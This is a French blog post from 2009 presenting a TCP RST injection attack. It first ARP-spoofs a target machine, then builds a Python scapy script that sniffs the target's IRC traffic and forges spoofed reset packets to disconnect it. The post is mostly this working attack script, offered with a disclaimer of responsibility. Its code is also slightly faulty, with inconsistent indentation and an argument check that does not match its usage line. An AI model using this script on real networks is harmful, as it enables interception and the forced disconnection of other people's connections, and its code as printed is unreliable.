Attaque RST

Publié le par Satellite

Une autre démonstration de la puissance de la position Man in the Middle : l'attaque RST. Elle est basée sur le principe suivant :
Lors d'une comunication TCP, les paquets contiennent un numéro de SEQuence (imprévisible) et un numero d'ACK [accusé] imprévisible également. Si l'un des membres désire réinitialiser la connection, il attend de recevoir un paquet, puis il répond par un paquet flaggé RST en mettant pour numéro ACK le numéro de Sequence du paquet qu'il vient de recevoir. Cela  à pour effet de réinitialliser la connection auprès de la cible (Connection reset by peer).
L'attaque RST que je vous propose découle de l'attaque RST FLOOD qui consiste à inonder la cible de paquets RST en provenance de l'adresse du serveur (spoofée) et en envoyant des numéro ACK aléatoires. Celle que je vous propose est beaucoup plus propre. Voici l'exemple.

Soit une machine PIGEON (192.168.1.10) connectée via IRC à un serveur(1.1.1.1) à travers un routeur (192.168.1.1). Je vais tenter de la déconnecter à l'aide de ma machine iZyNumeric(192.168.1.11).

On commence de manière habituelle, un ARP Spoofing

sat@iZyNumeriC:~$ sudo python arp.py 192.168.1.10 192.168.1.1

Puis nous pouvons écouter les paquets échangés entre 1.1.1.1 et 192.168.1.10. Notre script va se dérouler en plusieurs étapes:
1) Il sniff les paquets reçus
2) Si il récupere un paquet en provenance de 192.168.1.10 et a destination de 1.1.1.1, il récupere le numéro SEQ, le port source/destination.
3) Il forge un paquet RST à partir de ces informations et l'envoie à la cible.

Tout d'abord, il faut coder une fonction retournant les informations d'un paquet sniffé:


def protocole(paquet):
    try:
        return [paquet[IP].dst, paquet[IP].src, paquet[TCP].sport,paquet[TCP].dport, paquet[TCP].ack] #contient ipdestinataire,ipSource,portSource,portDestination,numeroAck
    except:
        return 99



Ensuite, on récupere les paramètres entrés par l'utilisateur

if __name__ == '__main__':
    if len(sys.argv) < 4:
        print 'Syntaxe : !/.py <ip_Serv> <port_Serv> <IP_Cible>'
        exit(0)
    ipServ = sys.argv[1]
    portServ = int(sys.argv[2])
    ipCible = sys.argv[3]



Puis on démare une boucle récuperant le paquet et le traitant avec notre fonction précedente


while 1:
        a = sniff(count = 1)[0]
         info = protocole(a) #(ipD,ipS,porS,portD,Ack)
         if info != 99:
             ipDst = info[0]
             ipSrc = info[1]
             pSrc = info[2]
             pDst = info[3]
             nAck = info[4]


 Et si le paquet correspond aux informations entrées, on forge puis envoie un paquet RST

if ipDst == ipServ and pDst == portServ and ipSrc == ipCible:
                     
                     send(IP(src = ipServ,dst = ipCible)/TCP(sport = portServ,dport = pSrc,flags = 'R',seq = nAck))
                     print 'Deconnection ... '



Le code final sera donc:


#-*-coding:Utf-8-*-
from scapy.all import *
import sys
#---------------------------------------
#    Network Re-7
#by iZy_TeH_PariaH
#python2.6,ubuntu
#24 aout 2009
#/!\ Je ne suis pas responsable de votre utilisation de ce script
#contact : dreamofanolife@hotmail.fr
#---------------------------------------
def protocole(paquet):
    try:
        return [paquet[IP].dst, paquet[IP].src, paquet[TCP].sport,paquet[TCP].dport, paquet[TCP].ack] #contient ipdestinataire,ipSource,portSource,portDestination,numeroAck
    except:
        return 99
        
if __name__ == '__main__':
    if len(sys.argv) < 5:
        print 'Syntaxe : !/.py <ip_Serv> <port_Serv> <IP_Cible>'
        exit(0)
    ipServ = sys.argv[1]
    portServ = int(sys.argv[2])
    ipCible = sys.argv[3]
    while 1:
        a = sniff(count = 1)[0]
         info = protocole(a) #(ipD,ipS,porS,portD,Ack)
         if info != 99:
             ipDst = info[0]
             ipSrc = info[1]
             pSrc = info[2]
             pDst = info[3]
             nAck = info[4]
             #Il faut que le paquet aille vers le server:
             if ipDst == ipServ and pDst == portServ and ipSrc == ipCible:
                     
                 send(IP(src = ipServ,dst = ipCible)/TCP(sport = portServ,dport = pSrc,flags = 'R',seq = nAck))
                 print 'Deconnection ... '

                       

Publié dans Python

Pour être informé des derniers articles, inscrivez vous :
Commenter cet article